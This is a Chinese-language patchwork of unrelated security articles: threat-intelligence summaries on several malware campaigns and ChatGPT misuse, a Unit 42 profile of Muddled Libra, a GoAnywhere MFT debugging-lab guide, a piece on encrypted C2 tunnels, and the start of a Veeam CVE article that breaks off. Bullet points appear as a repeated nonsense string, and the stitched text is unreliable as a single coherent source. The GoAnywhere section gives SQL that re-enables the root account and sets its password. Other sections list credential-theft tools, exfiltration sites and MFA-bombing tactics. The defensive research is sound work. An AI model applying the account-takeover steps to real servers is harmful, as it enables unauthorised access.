然而,在2022年9月,研究人員發現Roaming Mantis使用了新的Wroba.o Android惡意軟件,並發現了一個DNS解析器功能,該功能主要針對韓國使用的特定Wi-Fi路由器。

2.png

這可以用於管理來自使用惡意DNS設置的受攻擊Wi-Fi路由器的設備的所有通信,例如,將某人重定向到惡意主機並干擾安全產品更新。用戶將受攻擊的安卓設備連接到咖啡館、酒吧、圖書館、酒店、購物中心和機場等場所的免費公共Wi-Fi。當連接到具有易受攻擊設置的目標Wi-Fi型號時,惡意軟件將破壞路由器並影響其他設備。因此,它可以在目標區域廣泛傳播。

BadMagic:與俄烏衝突有關的新APT組織自俄烏衝突開始以來,研究人員已經發現了大量地緣政治網絡攻擊。

去年10月,研究人員就發現了BadMagic的攻擊。最初的攻擊途徑尚不清楚,但接下來要使用魚叉式網絡釣魚或類似的方法。攻擊目標被導航到一個URL,該URL指向託管在惡意web服務器上的ZIP文檔。該文檔包含兩個文件:一個是誘餌文檔(研究人員發現了PDF、XLSX和DOCX版本),另一個是帶有雙重擴展名的惡意LNK文件(例如PDF.LNK),打開後會導致攻擊。

3.png

在一些情況下,誘餌文檔的內容與惡意LNK的名稱直接相關,以誘使用戶激活它。

LNK文件下載並安裝了一個名為“PowerMagic”的PowerShell後門,該後門反過來部署了一個複雜的模塊化框架“CommonMagic”。研究人員發現CommonMagic插件能夠從USB設備中竊取文件,並進行截屏將其發送給攻擊者。

4.png

在初步分析中,研究人員無法找到任何證據將他們發現的樣本和活動中使用的數據與任何以前已知的攻擊者聯繫起來。

Prilex針對非接觸式信用卡交易發起攻擊Prilex已經從專注於ATM的攻擊演變成了涉及PoS的攻擊。該組織開發的最新惡意軟件不是基於PoS攻擊中常見的內存抓取器技術,而是直接開發了一種高度先進的惡意軟件,該軟件包括獨特的加密方案、目標軟件的實時補丁、強制協議降級、操縱密碼、執行所謂的“GHOST交易”和信用卡欺詐,甚至是芯片和PIN卡上的欺詐。

在調查一起事件時,研究人員發現了新的Prilex樣本,其中一個新功能包括阻止非接觸式交易的功能。這些交易生成一個僅對一筆交易有效的唯一標識符,這樣攻擊者就沒有辦法利用它了。通過阻止交易,Prilex試圖迫使客戶插入他們的卡來進行芯片和PIN交易,這樣攻擊者就有機會使用他們的標準技術從卡中捕獲數據。

隨著非接觸式卡交易的增加,該技術可以讓Prilex攻擊者繼續竊取卡信息。

攻擊者使用社會工程來攻擊PoS終端,他們試圖說服零售店的員工,他們迫切需要更新終端的軟件,並允許所謂“技術專家”訪問商店,或者至少提供遠程訪問終端的權限。所以,零售公司要警惕攻擊跡象,包括反复失敗的非接觸式交易,並教育員工了解這種攻擊方法。

對於零售公司(尤其是擁有許多分支機構的公司)來說,制定內部法規並向所有員工解釋技術支持或維護人員應該如何運作是很重要的。這至少可以防止對pos終端的未經授權的訪問。此外,提高員工對最新網絡威脅的意識總是一個好主意,這樣他們就不會那麼容易受到新的社會工程技巧的影響。

使用假冒Tor瀏覽器竊取加密貨幣研究人員最近發現了一個正在進行的加密貨幣盜竊活動,影響了52個國家的1.5萬多名用戶。攻擊者使用了一種已經存在了十多年的技術,最初是由銀行木馬用來替換銀行賬號的。然而,在最近的活動中,攻擊者使用木馬版的Tor瀏覽器來竊取加密貨幣。

目標從包含密碼保護的RAR文檔的第三方資源下載Tor瀏覽器的木馬化版本,密碼用於防止其被安全解決方案檢測到。一旦文件被釋放到目標計算機上,它就會在系統的自動啟動中自我註冊,並偽裝成一個流行應用程序(如uTorrent)的圖標。

5.png

惡意軟件一直等到剪貼板中出現錢包地址,然後將輸入的剪貼板內容的一部分替換為攻擊者自己的錢包地址。

對現有樣本的分析表明,這些攻擊目標的估計損失至少為40萬美元,但實際被盜金額可能要大得多,因為研究人員的研究只關注Tor瀏覽器濫用。其他活動可能使用不同的軟件和惡意軟件傳播方法,以及其他類型的錢包。

研究人員目前還無法確定一個承載安裝程序的網站,因此它可能是通過torrent下載或其他軟件下載程序傳播的。來自官方Tor項目的安裝程序是數字簽名的,不包含任何此類惡意軟件的跡象。因此,為了保證安全,你應該只從可靠和可信的來源下載軟件。即使有人下載了木馬化的版本,一個好的反病毒產品也應該能夠檢測到它。

還有一種方法可以檢查你的系統是否受到同類惡意軟件的攻擊。在記事本中輸入以下“比特幣地址”:

bc1heymalwarehowaboutyoureplacethisaddress

現在按Ctrl+C和Ctrl+V。如果地址更改為其他地址,則係統可能受到剪貼板注入器惡意軟件的危害,並且使用起來很危險。

6.png

我們建議你用安全軟件掃描你的系統。如果你不確定是否有隱藏的後門,那麼一旦系統被破壞,你就不應該信任它,直到它被重建。

利用ChatGPT發起攻擊自從OpenAI通過ChatGPT向公眾開放其大型GPT-3語言模型以來,人們對該項目的興趣猛增,爭相探索它的可能性,包括寫詩、參與對話、提供信息、為網站創建內容等等。

關於ChatGPT對安全格局的潛在影響,也有很多討論。

鑑於ChatGPT模仿人類互動的能力,使用ChatGPT的自動魚叉式網絡釣魚攻擊很可能已經發生了。 ChatGPT允許攻擊者在工業規模上生成有說服力的個性化電子郵件。此外,來自釣魚信息目標的任何回复都可以很容易地輸入聊天機器人的模型,在幾秒鐘內產生令人信服的後續活動。也就是說,雖然ChatGPT可能會讓攻擊者更容易偽造網絡釣魚信息,但它並沒有改變這種攻擊形式的本質。

攻擊者還在地下黑客論壇上介紹了他們如何使用ChatGPT創建新的木馬。由於聊天機器人能夠編寫代碼,如果有人描述了一個所需的功能,例如,“將所有密碼保存在文件X中,並通過HTTP POST發送到服務器Y”,他們可以在不具備任何編程技能的情況下創建一個簡單的信息竊取器。然而,這樣的木馬很可能是很低級的,並且可能包含效果較差的漏洞。至少就目前而言,聊天機器人只能編寫低級惡意軟件。

研究人員還發現了一個惡意活動,試圖利用ChatGPT日益流行的優勢。欺詐者創建了模仿愛好者社區的社交網絡群組。這些群組還包含預先創建的帳戶的虛假憑據,這些帳戶聲稱可以訪問ChatGPT。這些群組包含一個看似合理的鏈接,邀請人們下載一個虛假的Windows版ChatGPT。

7.jpg

該惡意鏈接安裝了一個木馬,可以竊取存儲在Chrome、Edge、Firefox、Brave和其他瀏覽器中的帳戶憑證。

由於安全研究人員經常發布有關攻擊者的報告,包括TTP(戰術、技術和程序)和其他指標,研究人員決定嘗試了解ChatGPT對安全格局的影響,以及它是否可以幫助常見的惡意工具和IoC,如惡意哈希和域。

基於主機的工件的響應看起來很有希望,所以研究人員指示ChatGPT編寫一些代碼,從測試Windows系統中提取各種元數據,然後問自己元數據是否是IoC:

8.png

由於某些代碼片段比其他代碼片段更方便,研究人員繼續手動開發這種概念驗證:他們過濾了ChatGPT響應包含關於IoC存在的“yes”語句的事件的輸出,添加了異常處理程序和CSV報告,修復了小漏洞,並將代碼片段轉換為單獨的cmdlet,從而生成了一個簡單的IoC掃描器HuntWithChatGPT.psm1,它能夠通過WinRM掃描遠程系統。

雖然對於OpenAI API來說,IoC掃描的精確實現目前可能不是一個非常划算的解決方案,因為每台主機需要15到20美元,但它顯示了有趣的結果,並為未來的研究和測試提供了機會。

人工智能對我們生活的影響將遠遠超出ChatGPT和其他當前機器學習項目的能力。 Ivan Kwiatkowski是卡巴斯基實驗全球研究和分析團隊的一名研究員,他最近探討了我們可以預期的長期變化的可能範圍。這些觀點不僅包括人工智能帶來的生產力提高,還包括它可能帶來的社會、經濟和政治變化的影響。

追踪用戶的數字足跡研究人員已經習慣了服務提供商、營銷機構和分析公司跟踪用戶的鼠標點擊、社交媒體帖子以及瀏覽器和流媒體服務的歷史記錄。公司這麼做有很多原因,他們希望更好地了解我們的偏好,並建議我們更有可能購買的產品和服務。他們這樣做是為了找出我們最關注的圖像或文本,甚至還向第三方出售我們的在線行為和偏好。

跟踪是使用網絡信標(又名追踪器像素和間諜像素)完成的。最流行的跟踪技術是將1×1甚至0x0像素的微小圖像插入電子郵件、應用程序或網頁。電子郵件客戶端或瀏覽器通過傳輸服務器記錄的有關用戶的信息來請求從服務器下載圖像。這包括時間、設備、操作系統、瀏覽器和下載像素的頁面。這就是信標操作員了解你打開電子郵件或網頁的方式以及方式。通常使用網頁中的一小段JavaScript來代替像素,它可以收集更詳細的信息。這些信標被放置在每個頁面或應用程序屏幕上,使公司可以在你上網的任何地方跟踪你。

在研究人員最近關於網絡追踪器的報告中,他們列出了網站和電子郵件中最常見的20個信標。網絡信標的數據基於卡巴斯基匿名統計數據,該組件阻止網站追踪器的加載。大多數公司至少與數字廣告和營銷有一定聯繫,包括谷歌、微軟、亞馬遜和甲骨文等科技巨頭。

9.jpg

電子郵件信標的數據來自卡巴斯基郵件產品的匿名反垃圾郵件檢測數據。列表中的公司是電子郵件服務提供商(ESP)或客戶關係管理(CRM)公司。

10.jpg

使用追踪器收集的信息不僅對合法公司有價值,對攻擊者也有價值。如果他們能夠獲得這些信息,例如,由於數據洩露,他們可以利用這些信息攻擊在線賬戶或發送虛假電子郵件。此外,攻擊者還利用網絡信標。你可以在此處找到有關如何保護自己免受跟踪的信息。

通過搜索引擎插入惡意廣告最近幾個月,研究人員觀察到使用谷歌廣告作為傳播惡意軟件手段的惡意活動數量有所增加。至少有兩個不同的竊取程序——Rhadamanthys和RedLine,它們濫用了搜索引擎推廣計劃,以便向受害者的電腦發送惡意有效負載。

11.png

他們似乎使用了與著名軟件(如Notepad++和Blender 3D)相關的網站模仿技術。攻擊者創建合法軟件網站的副本,並使用“誤植域名”(使用拼寫錯誤的品牌或公司名稱作為url)或“組合搶注”(如上所述,但添加任意單詞作為url)來使網站看起來合法。然後,他們付費在搜索引擎中推廣該網站,以將其推到搜索結果的首位。

12.png

惡意軟件的分佈表明,攻擊者的目標是全球範圍內的個人和企業受害者。

2022年底,隨著0ktapus網絡釣魚工具包的發布,Muddled Libra正式出現在公眾視野,該工具包提供了預構建的託管框架和捆綁模板,利用大量用虛假身份驗證的真實門戶進行有針對性的攻擊,攻擊者能夠快速收集憑據和多因素身份驗證MFA代碼。如今0ktapus框架已被商品化,即使是攻擊新手也能獲得很高的成功率。 0ktapus框架功能包括預構建的模板和通過Telegram內置的C2頻道,成本只需幾百美元。

這個工具包所攻擊的目標的數量之多,以至於給攻擊歸屬造成了很多困惑。 Group IB、CrowdStrike和Okta之前的報告已經記錄並將其中許多攻擊映射到以下組織:0ktapus、Scattered Spider和Scatterd Swine。以上三個名字很可能是一個組織,也很可能是使用同一個工具包的三個組織。 Muddled Libra就是其中的一個組織。

Unit 42發現Muddled Libra攻擊時具有以下特點:

马云惹不起马云使用0ktapus網絡釣魚工具包;

马云惹不起马云持續攻擊;

马云惹不起马云非破壞性存在;

马云惹不起马云持續瞄準業務流程外包(BPO)行業;

马云惹不起马云數據被盜;

马云惹不起马云 在下游攻擊中使用受攻擊的基礎設施;

調查表明Muddled Libra使用了一個異常龐大的攻擊工具包,包括社會工程、滲透測試和取證工具,其功能要強於強大的網絡防禦能力。

在Unit 42調查的事件中,Muddled Libra在攻擊目標選擇上非常有針對性,進攻策略也非常靈活。當一個攻擊方法被阻斷時,他們要么迅速轉向另一個方法,要么轉化攻擊環境重新開始攻擊。

Muddled Libra也對現代事件響應(IR)框架有著深刻理解,這使他們能夠不斷修改攻擊策略從而實現攻擊目的。

Muddled Libra更傾向於使用被盜數據來對受害者發起攻擊,如果允許,他們會反复刷新被盜數據集。使用這些被盜數據,即使在最初的事件響應之後,攻擊者也有能力回到以前的受害者那裡。這證明了攻擊者即使在被發現後仍具有持續攻擊能力。

此外,Muddled Libra似乎對他們的攻擊行為有明確的預期和路徑設計,而不僅僅是投機取巧那麼簡單。他們在發動攻擊時,會迅速尋找並竊取了下游客戶端環境中的信息,然後利用這些信息進入到攻擊環境中。他們對高價值客戶以及對後續攻擊最有用的信息有著1前瞻性判斷。

攻擊鏈雖然每一起事件都是獨一無二的,但Unit 42的研究人員已經確定了戰術、技術和程序(TTP)方面的很過共性,可以將多起事件歸因於Muddled Libra。

1.png

攻擊鏈

偵察階段Muddled Libra對目標組織有著非常細緻的了解,包括員工名單、職務和手機號碼。在某些情況下,這些數據可能是在早期針對上游目標的攻擊行為中獲得的。

攻擊者還經常從非法數據代理那裡獲取信息包,例如現已倒閉的Genesis和Russian Markets。這些數據通常是從受感染的設備上收集的,包括企業和個人設備,使用的是像RedLine stealer這樣的惡意軟件。

隨著自帶設備(BYOD)政策的早期出現,以及混合工作解決方案的流行,公司數據和憑據被頻繁使用並緩存在個人設備上。分散IT資產的管理和保護為信息竊取惡意軟件創造了一個有利可圖的攻擊機會。

資源開發使用相似域名發起攻擊是Muddled Libra的經典標誌。這種策略是有效的,因為移動設備經常截斷SMS消息中的鏈接。

歸因於0ktapus活動的早期攻擊組織一直使用通過Porkbun或Namecheap註冊並託管在Digital Ocean(一家成立於2012年的總部設置在紐約的雲主機商家,採用KVM虛擬)基礎設施上的域名,這些域往往是短暫的,只在最初的訪問階段使用,然後很快被刪除。

Unit 42注意到攻擊者使用ktapus網絡釣魚工具包來獲取憑證。 Group-IB詳細記錄了這種多用途的工具,在地下組織中廣泛使用。它幾乎不需要什麼技能就可以安裝和配置,這使它成為高度針對性的欺騙攻擊的理想工具。

初始訪問在Unit 42可以確定初始訪問方法的所有事件中,都涉及詐騙或社會工程。在大多數事件中,攻擊者直接向目標員工的手機發送引誘信息,聲稱他們需要更新賬戶信息或重新驗證公司應用程序。消息中包含一個指向偽造公司域的鏈接,該域旨在模仿熟悉的登錄頁面。

持久性MuddledLibra特別專注於維護對目標環境的訪問。雖然攻擊者在攻擊期間使用免費或演示版的遠程監控和管理(RMM)工具是很常見的,但Muddled Libra通常安裝了六個或更多這樣的實用程序。他們這樣做是為了確保即使有一個被發現,他們也能保留一個進入環境的後門。

使用商業RMM工具尤其需要注意,因為這些工具是Muddled Libra正在濫用的合法程序。他們可以合法地出現在組織內,防御者應該權衡是完全阻止還是仔細監控他們。觀察到的工具包括Zoho Assist、AnyDesk、Splashtop、TeamViewer、ITarian、FleetDeck、ASG Remote Desktop、RustDesk和ManageEngine RMM。

這些工具本身都不是惡意的,並且經常用於許多企業網絡的日常管理。 Unit 42建議組織通過簽名者阻止任何不允許在企業內使用的RMM工具。

防禦規避Muddled Libra對各種安全控制及其熟悉,完美地避開了常見的防禦。

具體行為包括:

马云惹不起马云禁用防病毒和基於主機的防火牆;

马云惹不起马云試圖刪除防火牆配置文件;

马云惹不起马云繞過防御者;

马云惹不起马云停用或卸載EDR和其他監控產品;

攻擊者還重新啟用並使用了現有的Active Directory帳戶,以避免觸發公共安全信息和事件管理(SIEM)監控規則。他們還被觀察到在終端檢測和響應(EDR)管理控制台內操作以清除警報。

Muddled Libra在攻擊活動中很謹慎,一直使用商業虛擬專用網絡(VPN)服務來隱藏其地理位置,並試圖融入合法流量。在Unit 42研究人員調查的大多數事件中,Mullvad VPN是首選,但也觀察到許多其他供應商,如ExpressVPN、NordVPN、Ultrasurf、Easy VPN和ZenMate。

Unit 42的研究人員還觀察到了輪流使用住宅代理服務的情況。正如Brian Krebs在2021年報導的那樣,住宅代理服務通常將其代碼隱藏在瀏覽器擴展中,允許運營商將住宅連接出租給合法和惡意攻擊者。

憑據訪問一旦捕獲了用於初始訪問的憑據,攻擊者就會選擇其中一條路徑。在第一種情況下,他們繼續從他們控制的計算機進行身份驗證,並立即請求多因素身份驗證(MFA)代碼。在另一種情況下,他們隨後生成了一系列MFA提示,直到用戶接受其中一個,這種方法也稱為MFA轟炸。

在MFA轟炸失敗的情況下,攻擊者就會聯繫該組織的求助台,聲稱自己是受害者。然後謊稱他們的手機無法操作或放錯地方,並要求註冊一個新的、由攻擊者控制的MFA身份驗證設備。

Muddled Libra在社會工程方面的成功是值得注意的。在許多示例中,該組織通過電話與服務台和其他員工交流,實施攻擊活動。

在建立了立足點後,Muddled Libra迅速採取行動,提升訪問權限。本階段使用的標準憑證竊取工具包括Mimikatz、ProcDump、DCSync、Raccoon Stealer和LAPSToolkit。當該組織無法快速確定提升的憑據時,他們就會使用Impacket、MIT Kerberos Ticket Manager和NTLM編碼器/解碼器。

在一些事件中,Muddled Libra採取了不同尋常的步驟,使用專門的工具,使用MAGNET RAM Capture和Volatility直接搜索內存內容以查找憑據。由於這些都是Muddled Libra正在濫用的合法取證工具,防御者應該仔細考慮阻止它們的不利因素,包括安全團隊活動產生誤報警報的可能性。

這給防御者提出了一個挑戰,儘管用戶帳戶可能通過特權訪問管理受到保護,但終端通常具有緩存用於系統管理或運行服務的提升憑據。應注意確保特權憑據僅具有執行其預期功能所需的權限,並密切監控其是否偏離正常行為。

發現過程muddle Libra的發現方法在不同的示例中是一致的。在調查中,該組織使用了知名的合法滲透測試工具來繪製環境並確定感興趣的目標。他們的工具包包括SharpHound, ADRecon, AD Explorer, Angry IP Scanner, Angry Port Scanner和CIMplant。

事實證明,Muddled Libra還精通商業系統管理工具,如用於發現和自動化的ManageEngine、LANDESK和PDQ Inventory,虛擬環境中使用的VMware PowerCLI和RVTools。

防御者應警惕未經批准的網絡掃描和對多個系統的異常快速訪問或跨邏輯業務部門的訪問。

執行過程調查發現,Muddled Libra似乎主要對數據和憑據盜竊感興趣,我們很少看到遠程執行。當需要時,該組織使用Sysinternals PsExec或Impacket完成執行。捕獲的憑據或身份驗證哈希用於權限提升。

橫向活動對於橫向活動,Muddled Libra更喜歡使用來自受攻擊設備的遠程桌面協議(RDP)。這種方法有助於最大限度地減少日誌中可發現的外部網絡構件,這些構件可以提醒防御者並幫助調查人員進行追踪。

尋找目標數據Muddled Libra似乎非常了解企業數據管理。他們成功地在受害者設備上的各種常見數據存儲庫中找到敏感數據,包括結構化和非結構化數據存儲庫,比如:

马云惹不起马云Confluence;

马云惹不起马云Git;

马云惹不起马云Elastic;

马云惹不起马云Microsoft Office 365 suite (e.g. SharePoint, Outlook);

马云惹不起马云Internal messaging platforms;

他們還從Zendesk和Jira等常見服務台應用程序中查找受害者環境中的數據。挖掘的數據包括進一步洩露的憑據,它們直接針對敏感和機密信息。

Unit 42的研究人員還觀察到了開源數據挖掘工具Snafler和本地工具在註冊中心、本地驅動器和網絡共享中搜索*password*和securestring等關鍵詞的情況。然後,使用WinRAR或PeaZip對洩露的數據進行分級和存檔。

防御者應定期在自己的環境中執行關鍵字搜索,以識別不正確存儲的數據和憑證。

盜取數據在一些情況下,Muddled Libra試圖建立反向代理shell或secure shell(SSH)隧道,用於命令和控製或盜取。 Muddled Libra還使用了常見的文件傳輸網站,如put[.]io、transfer[.]sh、wasabi[.]com或gofile[.]io來盜取數據,研究人員還觀察到Cyberduck作為文件傳輸代理。

緩解措施Muddled Libra是一個攻擊能力非常強的惡意軟件,對軟件自動化、業務流程外包、電信和技術行業的組織構成了巨大威脅。他們精通一系列安全規範,能夠在相對安全的環境中迅速執行以完成毀滅性的攻擊。

Muddled Libra並沒有任何技術上的創新,只是把目前已有的技術疊加在一起從而產生了很強的攻擊力。

建議組織:1.盡可能實現MFA和單點登錄(SSO),最好是快速身份在線(FIDO)。在我們調查的示例中,Muddled Libra最成功的是說服攻擊目標幫助他們繞過MFA。當他們無法做到這一點時,他們就會更換其他目標。

2.防御者還應考慮如何在多次MFA故障時最好地實施安全警報和帳戶鎖定。

3.實施員工安全意識培訓。 Muddled Libra通過電話和短信大力實施社會工程,包括通過電話和短信幫助台。

4.在發生攻擊的情況下,假設這個攻擊者知道現代IR戰術,考慮建立帶外響應機制。

5.確保證書是最新的,只在必要的時候和時間內授予訪問權限。

6.監控和管理對關鍵防禦和控制的訪問對於防禦熟練攻擊者至關重要。權利應僅限於每個工作職能所必需的內容。應使用Cortex XDR和Cortex XSIAM等身份威脅檢測和響應(ITDR)工具來監測異常行為。

7.防御者應該限制允許連接到網絡的匿名服務,最好是在防火牆上通過App-ID。

0x00 前言本文記錄從零開始搭建GoAnywhere Managed File Transfer漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

GoAnywhere Managed File Transfer安裝

GoAnywhere Managed File Transfer漏洞調試環境配置

數據庫操作

0x02 GoAnywhere Managed File Transfer安裝參考資料:https://static.fortra.com/goanywhere/pdfs/guides/ga6_8_6_installation_guide.pdf

下載地址:https://www.goanywhere.com/products/goanywhere-free/download

需要註冊賬號獲得license

GoAnywhere Managed File Transfer可以分別安裝在Windows和Linux操作系統

Windows系統下默認的Web路徑:C:\Program Files\HelpSystems\GoAnywhere\tomcat\webapps\ROOT

Linux系統下默認的Web路徑:/usr/local/HelpSystems/GoAnywhere/tomcat/webapps/ROOT

1.開啟遠程調試功能通過開啟Tomcat調試功能來實現,開啟Tomcat調試功能的方法如下:

切換至bin目錄

執行命令:catalina jpda start

Tomcat調試功能開啟後默認監聽本地8000端口

對於GoAnywhere Managed File Transfer,開啟調試功能的方法如下:

(1)Windows下調試

修改文件C:\Program Files\HelpSystems\GoAnywhere\tomcat\bin\GoAnywhere.exe的文件屬性

雙擊文件C:\Program Files\HelpSystems\GoAnywhere\tomcat\bin\GoAnywhere.exe,切換到Java標籤頁,在Java Optinos添加:-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=8090,如下圖

重啟服務GoAnywhere

(2)Linux調試

修改文件:/opt/HelpSystems/GoAnywhere/tomcat/bin/start_tomcat.sh,將exec '$PRGDIR'/'$EXECUTABLE' start '$@'修改為exec '$PRGDIR'/'$EXECUTABLE' jpda start '$@'

修改文件:/opt/HelpSystems/GoAnywhere/tomcat/bin/goanywhere_catalina.sh,將JPDA_ADDRESS='localhost:8000'修改為JPDA_ADDRESS='*:8090'

注:

Tomcat默認的調試端口8000同GoAnywhere Managed File Transfer的Web端口衝突,所以這裡選擇修改Tomcat默認的調試端口為8090

打開防火牆允許外部訪問8090端口:iptables -I INPUT -p tcp --dport 8090 -j ACCEPT

啟動GoAnywhere進程:/opt/HelpSystems/GoAnywhere/goanywhere.sh start

0x03 數據庫操作GoAnywhere Managed File Transfer使用Apache Derby數據庫

Windows下默認數據庫存儲位置為:C:\Program Files\HelpSystems\GoAnywhere\userdata\database\goanywhere

Linux下默認數據庫存儲位置為:/opt/HelpSystems/GoAnywhere/userdata/database/goanywhere/

數據庫操作的實現細節可從lib文件夾下的ga_classes.jar獲得

從中我們可以得到Web用戶口令加密的實現細節,對應位置:C:\Program Files\HelpSystems\GoAnywhere\lib\ga_classes.jar!\com\linoma\ga\ui\admin\action\user\ChangeUserPasswordAction.class

提取出的Java實現代碼如下:

1.png

1.讀取Derby數據庫(1)命令行實現

使用Apache Derby,下載地址:https://archive.apache.org/dist/db/derby/db-derby-10.14.2.0/db-derby-10.14.2.0-bin.zip

運行bin目錄下的ij.bat

連接數據庫:connect 'jdbc:derby:C:\Program Files\HelpSystems\GoAnywhere\userdata\database\goanywhere;';

查詢用戶配置:SELECT * FROM DPA_USER;

(2)界面化實現

使用DBSchema,下載地址:https://dbschema.com/download.html

啟動DBSchema後,選擇連接Derby數據庫,JDBC Driver選擇derbytools.jar org.apache.derby.jdbc.EmbeddedDriver,Folder選擇C:\Program Files\HelpSystems\GoAnywhere\userdata\database\goanywhere

查詢用戶數據表,如下圖

下载.png

可以看到默認用戶有以下三個:

Administrator,未啟用

root,未啟用

admin,默認用戶

2.修改數據庫GoAnywhere Managed File Transfer的Derby數據庫使用了內嵌模式,其他應用程序不可訪問,所以有以下兩種修改數據的方法:

(1)GoAnywhere Managed File Transfer處於運行狀態

可以通過寫入jsp文件實現數據庫的修改

(2)GoAnywhere Managed File Transfer處於關閉狀態

可以選擇Apache Derby或DBSchema打開數據庫文件夾,直接進行修改

修改數據庫的命令示例:

啟用root用戶:UPDATE APP.DPA_USER SET ENABLED='1' WHERE USER_NAME='root';

設置root用戶口令:UPDATE APP.DPA_USER SET USER_PASS='$5$mpoe6zI4B6+LHRMdbFKr8g==$RnAILbYe9KDauKE3wXTFVvlXQNZeM4Z2c7x1aEtME/U=' WHERE USER_NAME='root';

0x04 小結在我們搭建好GoAnywhere Managed File Transfer漏洞調試環境後,接下來就可以著手對漏洞進行學習。

1、概述在攻防演練期間,經過信息蒐集、打點後,部分攻擊者利用漏洞攻擊、釣魚等方式成功獲得內網資產的控制權,為了保證對失陷資產的持續控制與後續擴大戰果的需要,攻擊者會上傳木馬運行,在失陷資產與外部控制端之間建立持續的通信信道。然而,在企業網絡邊界上通常部署了大量的網絡防護和監測設備,因此,攻擊者為了躲避流量監測設備的發現,會對其使用的命令與控制信道使用各種隱藏手段,如加密、編碼、偽裝、利用隱蔽隧道等。

2、攻防演練場景資產失陷後常見加密流量我們可以將攻防演練場景中,內部資產失陷後常見的加密流量總結為兩大類:正向CC加密通道和反彈CC加密通道。

正向的CC加密通道,主要是HTTP/HTTPS的Webshell連接和正向HTTP隧道代理;反彈CC加密通道包括:TLS/SSL木馬回連以及各種隱蔽隧道通信。

能夠在內外網之間構建加密CC通道的工具有很多,有的工具小巧且專業,能夠搭建某一種加密信道並靈活配置,如:dns2cat,icmptunnel等;有的則具備平台級的強大功能,可以生成具備多種加密隧道的攻擊載荷,如:CobaltStrike,MSF等;另外,還可以組合隧道工具與平台級攻擊載荷在極端條件下實現命令與控制,如:利用代理轉發工具、隧道工具上線CS等,下面是一些攻擊類型與攻擊工具的梳理:

image.png

2.1正向CC加密通道马云惹不起马云 HTTP/HTTPS Webshell連接

通常,針對Web服務的漏洞利用成功後,攻擊者會上傳Webshell,如:冰蠍、哥斯拉、蟻劍等。這些Webshell即能在失陷的Web服務器與攻擊者之間維持命令執行通道,又能用來上傳具有更強大功能的平台級木馬。隨著Web服務的全面加密化,Webshell的通信經過了HTTPS加密,即使能夠解密HTTPS流量,其HTTP載荷中也會經過二次加密和編碼,盡可能不暴露明文特徵,給流量檢測帶來很大挑戰,去年攻防演練第一天更新上線的冰蠍4.0版本,臨時增加可自定義的加密通信方式,給防守方帶來了一波突然襲擊,讓人記憶猶新。

1.png

往期回顧:冰蠍4.0 https://www.viewintech.com/html/articledetails.html?newsId=20

马云惹不起马云HTTP隧道正向代理

當攻擊者想要訪問的內網資產無法出網時,可以通過在失陷的邊界資產搭建HTTP隧道正向代理的方式,中轉訪問內網資產,常見工具包括reDuh,neo-regeorg等,其原理如下圖:

2.png

2.2反彈CC加密通道马云惹不起马云TLS/SSL木馬回連

出入企業網絡邊界最常見的加密協議是TLS/SSL,其廣泛應用於Web服務、郵件服務、文件傳輸、移動APP等應用領域,可以保護用戶通信數據的機密性和完整性。因此,大量攻擊者同樣通過TLS/SSL構建自己的惡意CC加密通信信道,特別是網絡邊界設備通常不對出網的TLS/SSL流量做攔截,失陷資產上的木馬可以通過這種方式將自己的流量混在大量訪問網絡正常應用的TLS/SSL加密流量中,神不知鬼不覺的與外網控制端維持CC通信,這類工具或木馬比較常見的像CobaltStrike、Sliver等,高水平的攻擊者還會使用諸如:域前置、CDN、雲函數等CC隱匿技術,進一步隱藏自己的流量和控制端信息。

3.png

攻擊者在構建真實的TLS/SSL加密CC信道時,由於SSL證書的購買和認證需要填寫真實身份信息,且價格不低,導致攻擊者會傾向於使用免費或自簽名證書,從而為檢測提供線索。於是,有些攻擊者使用Fake TLS或Shadow TLS的技術,利用知名網站的證書將其木馬CC通信的流量偽裝成與白站的通信,再將自己實現的加密通信協議隱藏在TLS/SSL加密載荷中,從而做到逃避檢測。

马云惹不起马云隱蔽隧道

在2022年攻防演練中,我們發現多起利用DNS隧道和ICMP隧道作為隱蔽信道的加密CC通信事件,是最有代表性的隱蔽隧道通信方式。

DNS隧道DNS是互聯網上重要的域名服務,主要用於域名與IP地址的相互轉換,因此,在企業網絡中DNS流量通常不會被防火牆、入侵檢測系統、安全軟件等一般安全策略阻擋。攻擊者利用這一特點使用DNS協議作為內外網之間通信的隱蔽信道,在攻防演練場景下常見的DNS隧道原理大致如下圖所示:

4.png

攻擊者攻陷內網資產後,植入木馬,木馬使用DNS協議中的子域名加密編碼隱藏信息,並發出DNS請求查詢;內網DNS服務器將查詢轉發到互聯網DNS服務器,通常網絡監測設備捕獲的是位於這一段鏈路上的流量;外網DNS服務器經過遞歸查詢重定向到偽造的DNS服務器,解析隱蔽傳輸的信息後利用DNS響應包返回控制命令;DNS響應包穿透網絡邊界最終返回到內網受控資產;受控資產上的木馬解析響應包中的控制命令,繼續後續攻擊動作。

ICMP隧道類似的,ICMP協議作為網絡中傳遞控制信息的常見重要協議,往往限制較少或不加限制,所以攻擊方在攻入內網後也可能使用ICMP協議的載荷數據(Data)部分隱蔽的進行控制指令或竊密數據的傳輸,這些被傳輸的內容大多數進行了加密保護。

5.png

如下圖所示,利用ICMP回顯請求和響應包(PING)載荷隱蔽實現CC通信。

6.png

其他隧道除此以外,利用應用層常見協議HTTP、SSH的隱蔽隧道,利用TCP、UDP載荷實現自定義協議的TCP、UDP隧道,或者支持多種隧道通信的各種代理轉發工具,也是攻擊者較常使用的隱蔽CC通信手段,他們在不同的網絡環境下,都具有穿透網絡邊界隱蔽傳輸數據的能力。在某些內網目標不能出網的環境,攻擊者還可以組合使用各種隱蔽隧道、代理轉發手段,來間接上線CS、MSF木馬,實現遠程控制。

3、總結隨著近年來,加密流量在攻防對抗中的使用頻率越來越高,針對攻防演練場景下的加密流量威脅,特別是資產失陷後的加密CC通信的檢測,可以說是守護企業網絡的最後一道防線。觀成科技多年來專注於加密流量威脅檢測技術研究,形成了一套綜合利用多模型機器學習、指紋檢測、行為檢測、加密威脅情報的解決方案,對各種不同類型的加密威脅進行有針對性的檢測。在2022年的攻防演練中,觀成瞰雲-加密威脅智能檢測系統首次參與即有亮眼發揮,多次獨家檢出攻擊失陷階段的加密CC通信行為,做到及時發現,及時預警,為客戶最大程度減少損失做出貢獻。

7.png

0x00 前言本文以CVE-2023-27532為例,介紹Veeam Backup Replication漏洞調試環境的搭建方法。

0x01 簡介本文將要介紹以下內容:

環境搭建

調試環境搭建

數據庫憑據提取

CVE-2023-27532簡要分析

